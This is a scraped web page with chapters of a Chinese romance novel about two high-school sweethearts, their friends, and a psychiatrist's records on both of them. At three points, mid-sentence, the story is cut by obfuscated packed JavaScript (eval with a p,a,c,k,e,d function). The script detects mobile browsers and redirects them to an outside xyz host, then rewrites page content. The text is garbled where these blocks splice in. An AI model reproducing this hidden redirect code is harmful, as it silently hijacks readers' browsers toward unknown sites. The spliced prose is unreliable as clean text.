p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815246|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”傅琳假模假样地叹了口气,这才想起宋不辞般,看了眼他身上单薄的长袖T恤衫,说,“宋同学,这两天降温厉害,多穿点别感冒了。” “谢谢阿姨,你们也是,注意身体。”宋不辞忙不迭道。 这种来自长辈的关心话语,再次听到,第一反应不是感到温暖,竟是受宠若惊。 “妈,屋里开着暖气呢,不冷。”姜知幻说。 傅琳颔首,欣赏着女儿那张脸,说:“我家宝贝真漂亮,好久不见,还有点想你了。” “那你们快点过来,我也想你们。”姜知幻噘起嘴,给了夫妻俩一人一个飞吻。 “好。”傅琳嘴边漾起浅浅弧度,又说了句“月亮确实好看”便挂断视频。 姜知幻收起手机,思索须臾,断定道:“我妈看了我的作文。” 她说的那篇作文,宋不辞也看过,用月亮指代对于自己来说重要的人事物。 宋不辞忧虑地盯着地板,心事重重,不知道说什么好。 姜知幻妈妈最后那句话应该是说他长得不错吧?那对他的印象应该不会太差吧?怎么感觉她爸爸好像不太开心,难道是对他不满意?! 宋不辞啊宋不辞,你平时不是挺能说的吗?怎么一到关键时刻就成鹌鹑了! “宋不辞,你紧张什么?”姜知幻抬手摸了摸他毛茸茸的脑袋,心满意足地笑笑,“这只是个视频通话,你上次见到我妈时不是挺冷静的吗?” “装的。”宋不辞低头看着她,这会儿倒是坦然得不行。 知道傅琳是姜知幻妈妈时,他一路上惜字如金,生怕说错话,基本是傅琳问什么答什么。 “怂什么,我爸妈又不是妖魔鬼怪。”姜知幻乐了,“放宽心,我爸妈对你的第一印象挺好的。” 宋不辞:“?” “我们一家都看脸。” 宋不辞若释重负地松了口气。 还好自己长得不磕碜。 “所以呀,保护好你这张脸。”姜知幻扬起下巴,摆出强硬的姿态。她双手捧着他的脸,随性地揉扁搓圆,郑重其事道,“就算要糟蹋,也只能被我糟蹋。” 宋不辞脸都快被折腾麻了。 姜知幻笑得更加放肆,“宋不辞,你这样好像只听话的小狗。” 只会冲我摇尾巴的那种。她在心里默默补了一句。 宋不辞轻飘飘地瞥她一眼,似笑非笑,忽地抬手挠她痒痒。 “宋不辞!” 姜知幻痒得躲进他怀里,想反击,却被这厮抓住了双手。两人从厨房打闹到沙发,她完全被压制,没有一点反抗余力,笑得眼泪都出来了,于是假意求饶。 宋不辞放开她的手后,她立马趁机偷袭。 “诶,怎么耍无赖呢。”宋不辞笑,毫不挣扎地投降,“我错了我错了,饶了我吧。” “哪错了?” “哪都错了。” “算你识相。”姜知幻懒洋洋地往后一仰,还没缓过劲来,“笑累了。” “歇会儿吧。”宋不辞手欠地勾起一缕发丝,绕在指尖把玩。 姜知幻往他身上靠,宋不辞故意不让,她每靠近一点,他就往左边挪一点,慢慢地,宋不辞挪到沙发最角落处,快要被挤下去了。 “这卡卡角角,痞老板来了都得甘拜下风。”宋不辞不动了,反而抱住了她。 “哈哈哈哈哈宋不辞,你再说一遍好不好?”姜知幻被逗笑,觉得江城口音听着太上头,越听越好玩。 宋不辞故作拿乔姿态,起身,“做饭去了。” “再说一遍嘛,就一遍。”姜知幻缠着他。 她其实在不经意间会冒出孩子气的一面,单是放软语气就很拿捏人。 宋不辞不自觉地勾唇。 两人又玩闹着到了厨房。 宋不辞漫不经心地炒着菜,姜知幻不声不响地站在旁边,倚靠厨台玩手机,时不时给他看一眼自己觉得有趣的视频或评论,然后又自顾自地玩。 谈笑间,不知是谁融进了谁的生活。 34. Chase 只不过是请一天假,就落下了十几张试卷。 课间,宋不辞被关顺叫到办公室问了点事,回来从兜里摸出个热乎乎的东西塞进姜知幻手里。 自从病好了,宋不辞在保暖措施上格外重视。 围巾手套暖手宝给姜知幻备齐全,桌上还多出一个保温杯,里面总有热水。仿佛她才是那个大病初愈的人。 姜知幻把玩着手里戴红色毛绒帽子的雪人暖手宝,失笑,说:“咱俩到底谁才是病刚好的那个。” “防患于未然啊,姜同学。”宋不辞看一眼她手下压的卷子,往讲台的方向走去。 月底要举办元旦文艺汇演,按理说高三现目前最重要的是学习,所有活动都没有参与的份。但三中视同一律,高三的同学想参加就参加,想去看就去看。 作为文艺委员,温玉正在讲台边统计节目。 大多数同学都只想看,少有报名。 有人撺掇温玉去唱首歌。 温玉看宋不辞过来,随口问:“哥们,要报名吗?” “谢邀。”宋不辞的视线没往那群人身上撂一眼,他倚靠讲台,姿态闲闲,点开电子白板里的音乐软件,放了首歌,又对温玉笑道,“你报一个呗,到时候唱这首歌,保证引燃全场。” 熟悉的前奏响起,后排男生瞬间沸腾,直接欢呼雀跃地从位置上跳了起来,阵仗浩大。 姜知幻抬头看了眼情况。 除了夏闲一如既往地趴在桌上“昏迷”,许多同学都放下笔,脸上洋溢着笑,跟随旋律一起唱。 “就像阳光穿破黑夜 黎明悄悄划过天边 …… 新的风暴已经出现 怎么能够停滞不前 ……” 仅仅是一首歌,就让持续了几周的紧张而乏味的氛围得到些许调节。 “也不是不行。”温玉说着,真在报名表上写下自己的名字,不过曲目没定。 但知道的人都激动得不行。 听温玉唱歌是一种享受。 范洋不知从哪边窜到讲台上来的,目光直直盯着宋不辞。 “想放什么自己点。”宋不辞往左挪了两步,把点歌权交给他。 范洋一脸“谁要点歌了”的表情,碍于人多眼杂,他想拉宋不辞去走廊说事,结果手还没碰到就被躲开了。 范洋把手翻过来瞅一眼手心,蒙圈道:“也不脏啊。” “我有洁癖。”宋不辞解释,表情要多正经有多正经。 温玉闻言,一时半会没反应过来,疑惑:“是吗?” 他、夏闲和宋不辞从小混到大,不说心有灵犀,也是知根知底。 宋不辞要是有洁癖,那以前把泥巴往他脸上当面膜糊的人是谁? “……我觉得你在放屁。”范洋看宋不辞的眼神宛若精神科医生在看自己的患者。 “最近才犯的。”宋不辞做戏做全套,信念感十足,“看过小说吗?男主角都会患这种病。” 温玉:“……” 呵呵。 范洋觉得这人准是烧到了脑子,秉着照顾患者情绪的负责心态,遵循他的意愿,也不碰他,直说去走廊一趟,有要紧事问。 宋不辞点头,慢吞吞地跟着他出了前门。 … 姜知幻仔细观察着手里的雪人。 雪人白皙的脸颊上打着粉色腮红,眼睛圆溜溜的,咧嘴笑得开心,两边张开的树枝手像是在讨要一个拥抱。 而宋不辞眼睛狭长,扇形似的双眼皮不深不浅,瞳孔干净清亮,看什么都含情。嘴角常常弯着,一副懒散至极又很会俘获人心的花花公子模样。 其实是不像的。 可又有种说不出的神似。 “我说,你该不会就因为这么个雪人心软了吧?” 冯潇潇的声音神不知鬼不觉地冒出。 “心软?”姜知幻扭头看她,想起了之前骗她还没解释的事。 可冯潇潇没给她再次开口的机会,二话不说将她从位置上拉起来,出了后门。 临近期末周,大家都坐在教室里埋头苦学,又因为外面冷,平时热闹的走廊都没几个人站着。 姜知幻满脑袋问号,注意力全在冯潇潇身上,没看见前门对面的走廊边站着两个人。 “我都知道了!”冯潇潇斩钉截铁,语气有些恼。 姜知幻自知理亏,诚恳道歉:“对不起啊潇潇,我不应该骗……” “范洋都跟我说了,我就知道他对你余情未了。”冯潇潇沉浸在自己的节奏里,没细听她的话,“连戒指都是成对送。” 姜知幻默然。 “宋不辞还挺会,费尽心思要跟你复合。” “知幻你听我说,男人对越容易得到的东西就越不珍惜。而且吧,他看起来确实不像是能好好谈恋爱的人。” “我知道你对这段感情肯定是有些放不下的,要不然刚开学也不会给他买饮料。但是,人要向前看。” “对了,你刚想说什么?偏啥?偏心?” “……不是。”姜知幻不知道她又脑补了一出什么惊世骇俗的狗血剧情,连忙解释,“我是想说,对不起,我不应该骗你。” “骗我?” “我以前没跟宋不辞在一起过,他也不是我的前男友。” “等等,你说明白点,我脑子有点乱。” “我当时就是想逗你玩玩,没想到……” 冯潇潇大脑飞速运转,已经彻底想明白了,她咬牙切齿地瞪向面前人,一字一顿道:“姜、知、幻!” 炸毛不过半秒,又突然问:“所以,你俩那时就已经在一起了?” 姜知幻点头。 “冲动是魔鬼,冷静似神仙。”她拍拍冯潇潇的肩,笑得讨好,却忽地灵光一闪,质问,“守口如瓶?” “我这…这不是没忍住嘛,我错了知幻。”冯潇潇的气势弱下来,但很快又支棱起来,一副秋后算账的语气,“但这事是你先骗我的!” “一杯奶茶。”姜知幻开价。 冯潇潇兴高采烈地跟她击了个掌,“成交。” “你还跟谁说过这事儿?”姜知幻问。 “就齐思,班长,还有范洋。”冯潇潇掰着指头回忆,随后肯定道,“嗯,就这些。” 姜知幻不言,只挑着眉看她,分明是笑着的,冯潇潇却没来由地心虚。 “你为什么觉得他看起来不像是能好好谈恋爱的人?”姜知幻也没想要追究,倒是对这个问题产生疑惑。 “我刚刚脑袋一热,可能说得太绝对,毕竟跟宋不辞不太熟。”寒风中,冯潇潇搓了搓手,说出自己的看法,“其实他人不错,在他们仨中,温玉也就是表面看着温柔,脾气最好的是他。只是高一那会儿宋不辞挺浑,逃课打架都干过,有一次他和夏闲在走廊玩跳跳球,不小心砸到了教导主任,两个人还被抓到办公室写了一节课的检讨。” 姜知幻:“……” 难怪吴主任那么防着他俩。 “幼稚吧。主要是每当有人问他对未来的规划或者喜欢什么类型,宋不辞都说‘不知道,看我妈’,以至于我曾一度怀疑他是个妈宝男。”冯潇潇说,“每次家长会,他在他妈面前的表现都乖得不行。不过后来他的未来规划也清晰了,大部分时间安分守己,逃课频率也大幅度减少,转变得很突然。” 姜知幻问:“什么时候?” “高二吧。”冯潇潇想了想,“哦对了,他高二时特别喜欢往京城跑,一放假就飞过去,无论多长。范洋他们问他去干嘛,他就说喜欢京城的夏天。” 冯潇潇好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908960|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“京城的夏天很好看吗?” “还好,我更喜欢江城的夏天。”姜知幻下意识答,说完,她愣了下,飘远的思绪迅速回笼,这才如梦初醒般想通。 喜欢江城的夏天,真的是因为好看吗? 并不是。 所以,那些没见面的时间里,宋不辞究竟去过多少次京城? “反正,高一的时候就觉得他挺奇怪,对什么事都不怎么上心,学习也是,却次次考年级前三,你说气不气。不过,说是妈宝男吧,跟听话两字又不太沾边,说他不是吧,总用‘不知道,看我妈’这句话搪塞,感觉一点主见都没有。如果家里管得严,也不会逃课这么多次吧?”冯潇潇思考半天得不出个所以然来,索性不想了,推搡着她进教室,嘟囔道,“快进去吧,要上课了,最近天气越来越冷。” 分开时,冯潇潇还补了句:“你手还挺暖和。” 姜知幻淡笑了下,没说话。刚落座,一扭头就跟旁边的宋不辞对上眼,他嘴角弯着,笑容意味深长,正用一种揶揄的、带点懒和坏的目光看她,仿佛发现了什么有趣的事。 “怎么了?”她神色自若地问。 “没什么。”宋不辞摇头,琢磨了会儿,云淡风轻道,“就是在想,我们什么时候分过手?” 姜知幻:“……” 又是哪个大嘴巴走漏风声? “嗯?前女友。”他声音放得轻,掩盖于铃声之下,语气懒散而疏淡,有着审时度势的意味。 嘴角勾着的弧度一点点收至平直。 这是他生气的前兆。 姜知幻再一次深刻体会到,什么叫搬起石头砸自己的脚。 … 江城的冬天是湿冷的,灰度覆盖,整座城市都笼罩在死气沉沉的氛围中。这里雨、雾、霾都有,却不会落雪。 即使有暖手宝,姜知幻仍旧喜欢把手放进宋不辞的衣兜,俨然成了一种习惯。 白气随着她开口说话时冒出。 “说不定,我们很早以前就认识了,在一起了,又因为一些原因分手。”姜知幻半开玩笑道。 原本捏她手指玩的宋不辞闻言,毫无征兆地停了脚步,把姜知幻的手扯出来,放进她自己的兜里。他眼底情绪比夜色沉郁黯然,就这么面对面、不言不语地看着她,直到萧瑟的风吹酸了眼,才有点反应。 “我们不会分手。”他说,语气是无需任何思虑和犹豫的笃定。 下午哄了足足十几分钟才哄好,因为类似的玩笑话又回归如初。 宋不辞很好哄,能让他执拗而冷脸的事,一定是触及底线的事。姜知幻知道。 但她抿了抿唇角,眼睛一眨不眨地盯着他,“万一呢?” 万一就是有无法容忍的原因呢。 “不存在万一。”宋不辞回答得极快,久久注视着她,平静反问,“你认为我们会因为什么而分手?” 姜知幻张了张嘴又闭上,陷入缄默,别过头不再看他。她保持着这副不坦诚也不配合的状态,就像钻进了唾弃已久又无法割舍的壳——逃避。 两人在冷风中僵持了三分钟左右,宋不辞不自觉地低下头,重新把她的手放进自己衣兜,再轻轻将人搂进怀里。 他牵住她的手,戒指相碰时,寻到些许安稳感。 “除了死亡,没有任何原因能让我们分开。”宋不辞说得决绝而果断。 姜知幻的脑袋动了动,在他胸口处轻磕了下,然后抬手,一如他之前好几次揉她的头发那般,从最开始小心翼翼的温柔,到掌心完全覆在毛茸茸的发丝上,用了点力道也带着安抚效果。 宋不辞闻着她身上淡淡的凛冽冷香,抱得更紧了。 “我饿了。” 宋不辞稍微松了些力度。 紧接着,他听见姜知幻说:“想吃烧烤。” 35. Chase 宋不辞的厨艺不错,但在饮食方面向来是将个烂就。他不挑食,只要能垫肚子,哪怕一日三餐吃面包片都行。 所以关于江城哪家烧烤店最好吃的问题,他打电话跟某个半吊子行家询问。 收到温玉发来的地址后,宋不辞带姜知幻过去。 烧烤店就在“猜你饿了”对面,生意不错,大概是位置较偏,还没到人满为患的程度。 姜知幻知道夏闲在对面便利店打工后,两人一致决定打包,带过去馋一下他。 不曾想,店外的椅子上坐着个意料之外的人。 “彪叔。”宋不辞脸上的表情没太多惊讶,和姜知幻一起落座到卓彪对面。他打开烧烤盒,看了眼桌上立着的两瓶开了盖、喝了一半的啤酒,说,“来点吗?下酒正合适。” 一如既往的玩笑语调,轻快而熟稔。 卓彪愣了下,想发音,却觉得喉咙有些干涩。 一周前被辞退,徐情没给出任何原因,按标准支付了赔偿金。那天,卓彪没见到宋不辞,但翌日接到医院的通知,有人承包了妻子往后的所有医疗费用,并转到最好的医院进行治疗。 这是一笔卓彪现在倾尽所能都还不上的巨款,那人轻而易举就做到了。 新医院有着严格的保密制度,没有透露关于那人的任何信息,只尽心尽责地按规矩办事。 卓彪看他,又看看他旁边的姑娘,摇头,瓮声瓮气道:“不了,你们吃吧。” 他去学校门口蹲过,放学时刻人流如织,夏闲总是比宋不辞先出来,然后跟他勾肩搭背地走到公交站,边聊天边等车。 连着两三天没蹲到人,卓彪一度怀疑这小子是不是故意来分散他注意力的。 头顶的户外伞挡不住四处袭来的寒气,但这还不是江城最冷的时候。 姜知幻不太怕冷,甚至觉得这种天气挺适合在室外吃烧烤,其次就是江城热气与人气并存的夏夜。 她将暖手宝悄悄塞进了宋不辞的兜里,跟卓彪短暂对视,目光里仅有淡然,如同在看任何一个平常的陌生人。 少女不打扰不询问,以安静的旁观者姿态坐在宋不辞旁边,撕开一次性筷子的包装,自顾自地吃起来。 好奇心低。 这是卓彪对姜知幻的初印象。 这种人,要么是真情感薄弱、什么都不在乎;要么就是脑子太灵光,通过一言一行就能分析出点有用信息。 店内冷清,唯一的顾客走后,穿着工作服的夏闲出来了,手里拿着两罐冰啤。 “烤好了。”他放下冰啤,毫不客气地拿起一串苕皮,语气里没有“终于来了”的欣喜,而是“速度真慢”的嫌弃。 咽下嘴里的东西后,再补充一句:“味道不错。” 宋不辞漫不经心地瞥了他眼,“嫌慢就跳槽,去对面烧烤店打工。” “算盘打得真响。”夏闲在外和在学校完全是两种状态,打了鸡血似的精神,笑容都多了不少,眼神清明,没有睡不醒的迷蒙与不耐烦。 他拿起一瓶酒,同卓彪的碰了下,仰头喝了口,放下酒瓶时注意到姜知幻那审视又略微空洞的目光,下巴朝冰啤的方向抬了下,问:“你要来一瓶吗?” 宋不辞扭头。 姜知幻没回答,鬼使神差地说了句:“感觉你好像有双重人格,校内校外两副面孔。” 话出口,她眨了眨眼,像是回过神,怔住。这充其量就是句玩笑话,宋不辞经常跟夏闲说,没人会觉得突兀或冒犯。 但姜知幻和夏闲在学校的交流非常少,比温玉还不熟,非必要不搭话。所以,按照正常情况她应该只会回答问题,然后继续吃自己的。 换而言之,跟他开玩笑,并不是自己平日的作风。 “睡够了。”夏闲笑道。 宋不辞夹了片土豆,老神在在地调侃:“哎,兄弟你也就这点追求。” 心底那股异样感稍纵即逝,姜知幻跟着笑了下,没细究。 四人坐着聊了十几分钟,一瓶酒喝完,恰好有人进店,夏闲去忙了,经过卓彪时拍了拍他的肩。 姜知幻吃饱了,这会儿放下筷子靠着椅背,正考虑待会儿要跟宋不辞说点什么。她其实看得出来,即使在一起了,宋不辞对这段关系也有着强烈的不安感,否则不会对“分手”二字反应那么大。 思及此,又想起今天上午冯潇潇说的话,姜知幻内心无声地叹了口气,看向和卓彪进行不冷不热对话的宋不辞,这才后知后觉地发现对面时不时欲言又止的目光。 是因外人在所以有些话不太好说出口的欲言又止。 姜知幻边收回放在宋不辞兜里的手,边准备起身打算随口说个理由离开一小会儿,但手刚有抽出的迹象就被抓住。理解到此举动的意思,她便没动了。 宋不辞不是没看出来,只是等着,现在干脆直接道:“彪叔,你想问什么问就行。” 卓彪不再有所顾虑,言简意赅道:“你做的?” 承包妻子的医药费,给妻子换医院,他的名下甚至多了套设备齐全的公寓。能做到这个份上,除了宋不辞,他一时半会儿想不到其他人。 可,为什么? 坦白说,他帮着做的事与宋不辞给的东西不能成正比。 “是我。”宋不辞微微颔首,解释,“你工作没了有我的责任,加上你之前帮的那些,我们两清了。” 到底是出生于经商家庭,骨子里还是有着从利益出发、一切皆由我用的态度,能从一段关系中迅速抽离。 姜知幻也听出来了,这话侧面说明两人表面友好,此后如没用处,不会再联系。 卓彪沉默地凝视着宋不辞,半晌点点头,咽下口中的酒。液体微辣,舌根却发苦,他说:“给多了。” 不仅多,就现目前的状况,还让人有些无法拒绝。 “不多。”宋不辞单手打开啤酒罐,拉环卡在食指第一指节处。他没管,举起,跟卓彪手里握着的酒瓶碰了下,“对我来说刚刚好,你问心无愧地收着就行。” 能让他获得短暂的自由时刻,付出的代价再昂贵也值得。 姜知幻没见过宋不辞喝酒,以往的聚会中,他的高脚杯里倒的都是橙汁或可乐。 宋不辞没喝几口就放下了。 姜知幻看他,视线在唇上停留少时,不动声色地收回。 “谢谢。”卓彪的神情和语气都十分郑重,他将瓶中剩余的酒一饮而尽,起身,“先走了,以后只要有我能解决的任何事情,找我。” 这是宋不辞听他说过最长的一句话。 “祝嫂子早日康复。”宋不辞勾唇,语气客套,笑容轻松。 所有状况都需要逐步回归到正常模样。 姜知幻迷惑,“送走他这么开心?你们之间发生过什么吗?” “你希望我跟他发生点什么?”宋不辞眼尾轻挑,撑着下巴歪头看她,拉环还卡在指节,没有要动的意思。 “我指的是,很正常的发生。”姜知幻纠正,伸出左手把拉环取下,说,“把它当新戒指了?” “不想放。”宋不辞放在兜里的左手牵着她的右手,里面还有个暖手宝。 他简略说明了以前,那些身后的暗地跟随、一天内干过大大小小的事都事无巨细地被汇报、以及自己和夏闲如何费尽心思去甩脱。 明明是令人心酸的事,他却描述得意趣横生。 姜知幻听完,说了句与上文完全无关的话:“你这件衣服的口袋空间挺大。” 宋不辞盯着她的目光悠远,仿佛在思考一个难解的题,但片刻,他突然向她摊开右手。 姜知幻不明所以,把刚才扔到边上的拉环拿起,放入他的掌心。 “不是。”宋不辞被她这一举动逗笑,手腕一转,拉环掉回桌面。他重新摊开手,说,“我是想要你的手机。” 意识过来后,姜知幻“噢”了声,摸出手机给他。 宋不辞接过,嘴里哼起欢快的调调,越听越耳熟。 姜知幻拧眉,不由得凑近点,想听清他到底在哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958146|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唱什么歌。 “我有一个小秘密,我从来也不说,有一天我心血来潮找了一支笔,我写下这个小秘密笑得很得意,不知向谁分享忽然不开心。” 哦,是一首耳熟能详的儿歌,歌词被改编了。 拢共就那么几句,宋不辞乐此不疲地重复哼唱着。 “秘密是什么?”姜知幻忍不住好奇。 宋不辞头也不抬地盯着手机,显示的是锁屏界面。闻言,他弯唇一笑,不慌不忙地按下第一个数字,故意卖关子道:“你想知道?” “想。”姜知幻凑得更近了些,垂眸看他解锁。 密码输入错误,剩四次机会。 过了这么久才猜,还以为他有十足把握。 姜知幻笑,“要不要做个交换?” “什么?”宋不辞开始第二次尝试。 “你告诉我秘密是什么,我给你提示。”姜知幻说。 宋不辞依旧没往她脸上撂一眼,专注于破解密码中,句句有回应,“这么听着,感觉我有点亏啊。” “你的错觉。”姜知幻没来得及忽悠成功,就听“咔嚓”一声,她眉梢轻动。 宋不辞扭头,晃了晃解锁成功的手机,说:“姜知幻怎么这么可爱。” 姜知幻:“?” “这是秘密。”宋不辞又低下头,慢悠悠地点开微.信。 列表内被置顶的有三个人,备注分别是“完美女神”、“高冷男神”和“月亮.emoji”。 宋不辞会心地笑笑,点了下自己的头像,将姜知幻手机里、两人的所有合照都发给了自己。 姜知幻默不作声地看他操作,左手捞过另一罐冰啤。 宋不辞听见动静,抬头看向她,少女食指曲起,其余四指握住罐身,毫不费力地拉开拉环,白色酒沫稍许溢出。她仰头喝酒,放下手时一阵冷风吹过,扬起脸侧发丝,一两根沾在了湿润的红唇上。 与此同时,兜里交叠的手也有了动作,她的手指挤进指缝,和他十指相扣住。 “猜的?”她指的是密码。 宋不辞“嗯”了声,将手机扣在桌上。 “猜得还挺准。” 包括上次问她的那个问题,正中靶心。 “我也不是什么都能猜到。”宋不辞慢慢道,“给我点时间,或者你来反复验证,我的答案一定会是你最想要的那个。” 通过这句话,姜知幻大致明了,眼前的少年应该是发觉了什么,只是不确定问题所在。 沟通的前提是自愿,所以他没强行引导她说出,也没要求她必须马上解决,而是给出合适的方案。 “我……”姜知幻感觉内心深处最脆弱的地方没有揭开,反而被温柔包裹起来,她抿了抿唇,说,“再等等吧。” 既然我们都需要时间,那就再等等吧。 瑟瑟冬风穿透枝丫,叶子摇摇欲坠,飘啊飘啊,最后随着她的话打着旋飘到了脚边,像一只从天而降的枯蝶。 姜知幻有所察觉地看了眼又抬头,目光探过户外伞的遮挡往上攀。 “宋不辞。”姜知幻拨开唇上的发丝,头一歪靠在宋不辞的肩上。她望着满树将飞未飞、蓄势待发的枯蝶,说,“只要你不说分手,我们就不会分。” 姜知幻能在这段感情中占尽上风,也能将主导权拱手相让。有一点就是,千万别让她后悔做这个决定。 宋不辞低声笑了下,说:“姜知幻,春天要来了。” “过段时间,我带你去看看我爷爷奶奶吧。” 姜知幻没有考虑地应下,“嗯。” 就这么说好了,两人在寒风中依偎着,透过玻璃看便利店里的夏闲忙碌,偶尔喝两口酒。等顾客走完,宋不辞给他发了条消息,让他拿包薯片出来。 好不容易歇会儿的夏闲收到消息,眼神幽怨地转头,隔着玻璃看外面说说笑笑的两人,白眼一翻,心烦得不行。 ——滚,懒死你俩算了。 看懂他的口型后,两人笑得更开心了。 36. Chase 京城,夜已深。 崔苏木站在落地窗前,凝望静悄悄来临的初雪,枝头上覆盖薄薄一层,看久了,感觉呼吸的空气似乎都变得清冷了些许。 片刻,她低头,编辑了条消息给姜知幻发去。 再看看时间,这个点,应该睡了。 “初雪来了啊。”崔苏木自言自语地转身走向书桌,钢笔下压着关于姜知幻的病例记录、进展报告和重新做过诊断的评估。 所幸病情并未加重,更没有发展成精神分裂。 老实说,当时姜知幻看她的眼神,认真说出这个猜测的语气让她大脑瞬间空白,只剩诧异。 因为在那之前的记录中,所有迹象都表明应该是有好转才对。 还好,还好。 近段时间发生的情况,崔苏木答应了姜知幻,只要定期复查,她暂时不会告诉傅琳和姜陆予。不过,自从上次去了趟江城,傅琳貌似发现了点什么,给她打电话的频率都多了起来。 这一家子真是……瞒不过又不敢得罪。 崔苏木扶额,不再多想,而是翻出另一份病例记录。 也是位棘手的患者,崔苏木对这位少年人印象很深。他来时孑然一身,无人陪同,全身上下除了右手戴的戒指,没有任何亮眼的打扮,时间节点又比较特殊。 当初崔苏木实力硬且年轻气盛,不愿给别人当助手,打算自立门户。手头缺钱缺得紧时,正巧来了个有钱家的少爷,直言只要让他接受治疗,开工作室的费用他全包。 大方又坦然,跟散财童子似的。崔苏木自然是不信天上无端掉馅饼,还觉得可惜,盘靓条顺一小伙子却病的不轻,钱多烧的,把自己烧成二百五了。 结果接触后发现,这位少爷的脑子不仅正常,还十分聪明,有经商天赋。由于未成年,他又不愿透露家庭情况,留的联系方式都是自己的,所以两人额外签了份协议,以防他家里人找她扯皮。 崔苏木以前觉得,他是最让她省心的患者,一直积极配合治疗,很会说玩笑话来调节气氛,分寸拿捏得恰当好处,行为举止言谈处处见修养。 但两个月前有所好转后,他就再没来过。 发消息会回,打电话也接,总是有礼貌地、插科打诨地搪塞。 哎,现在的孩子,一个二个都不让人省心。 崔苏木摇头叹息,随手放下的病例记录刚好与姜知幻那份错位重叠。 白纸黑字,姓名和主要病症两处分别写着:宋不辞,中度抑郁。 … 距离元旦文艺汇演还有半小时,道具间内,现场已布置好,温玉在做最后的检查与乐器调试,身边有六七个同班同学。 乌泱泱的一群人站在里面,偌大的道具间都变得有点狭窄逼仄。大家最近快被堆叠的试卷、复习资料和写不完的模拟题整吐了,都不是爱死读书的人,偶尔让自己放松一下未尝不是件好事。 用宋不辞的话来说,这叫劳逸结合,想放松的时候就放松,想学习的时候就想。 然后他被范洋确诊为“神经病”,并拒绝和他玩,怕被同化。 范洋和秦六佑手里各拿一根鼓槌,拉着夏闲一起研究面前的架子鼓。 “你说,这玩意要是学成后得多帅啊。” “感觉应该会很解压。” “夏哥,你会吗?” 夏闲懒洋洋地打了个哈欠,认真思索了下,“我会打退堂鼓。” 秦六佑:“……” “难怪你和老宋能玩到一块去。”范洋一副“看透本质”的表情。 “吉他的音有点不准,我调一下。” 温玉说着,从冯潇潇手里接过吉他。 “可以弹一曲吗?”冯潇潇眼巴巴地看着他,问。 温玉调好音,微笑道:“当然可以,你想听什么?” 冯潇潇顿时两眼放光,抓着齐思的手臂激动地左摇右晃,连忙说:“都可以都可以。” “潇潇,你松点力,我手快被你抓麻了。”齐思小声道。 冯潇潇点头如蒜,嘴上说着“好的好的”,然后改抓韦枫玥的手臂。 韦枫玥:“……” 姜知幻坐在钢琴的琴凳上,边心不在焉地弹小星星,边回复傅琳刚发来的消息。听见她们那边传来的吉他声,收回按琴键的手。 姜郎不才尽:那我明天下午去清水居找你们 夫妻俩订的明天下午的飞机,在此之前,两人找了好几处居住地,然后将地址名发给姜知幻,帮忙挑选。她最后选择了“清水居”,单纯觉得这三个字顺眼。 发送完,姜知幻又翻阅其他人的消息。 寒假将至,好些个狐朋狗友的群都诈尸冒泡,还有很多人发私信问姜知幻,寒假什么时候回京城,打算怎么玩。 她挑了几条先回复,也看到了崔苏木昨晚发的消息。 大致内容是病情没有加重,让她保持良好心态,好好学习,好好去爱,遇事别往心里搁。 最重要的一点,记得来复查。 这段时间的心情太好,以至于姜知幻都差点忘了未知生物的存在。细想了下,它的声音好像很久没有响起过了。 难道出现的条件与她的心情挂钩?还是说,那只是自己精神状态不好时产生的幻觉? 正思考着,干净清爽的男声和《WhatMakesYouBeautiful》的吉他伴奏一并钻入耳中。 “You''reinsecure Don''tknowwhatfor ……” 姜知幻抬头,从她的角度看过去是宋不辞的侧脸,墨色碎发散落额前,有些戳眼皮。 他双手揣兜,懒洋洋地倚靠着钢琴,眼睫微垂,谁也没看,唱歌词的嘴一张一合,唇角带有漫不经心的笑。 所有人都噤声看向他和温玉。 开口脆。 “Everyoneelseintheroomcanseeit Everyoneelsebutyou Babyyoulightupmyworldlikenobodyelse ……” 唱到高潮时,范洋小声吐槽一句:“啧,看他孔雀开屏那样儿,不知道的还以为喜欢的人在场。” 说完又忽然反应过来,可不就是在场嘛。俩人谈得太低调,差点忘了他哥们已经是有女朋友的人了。 秦六佑难得没接话。 “哎,脑子是个好东西。”夏闲老神在在道。 这边,温玉也开口,合上了宋不辞的声音。 冯潇潇近乎惊叹地“哇”了声,没想到这两人合唱起来,意外的好听。 温玉边弹边唱,在下一段高潮到来前环视所有人,眼神里带着“一起来”的意思。 在他的带动下,大家纷纷开嗓,脸上都洋溢着愉悦的笑,或大幅度或小幅度的晃动着身体,听见有人的歌声不着调,笑得更加开心了。 冯潇潇双手各抓身旁两人的一只手臂,举过头顶,左右摇摆。韦枫玥觉得这动作太傻,挠她痒痒,迫使她放下手。 齐思脸上的笑稍显腼腆,小声哼着歌词,看两人打闹。 范洋骚里骚气地叫了秦六佑一声“honeybaby”,迎来一顿暴揍。 夏闲跟着笑,却没唱。 问就是懒得开口。 常年装满沉闷无生气的道具间,在这一刻被注入一股从未有过的、松弛的活力感。 这大概是这段时间以来,大家最阳光鲜活的时候。 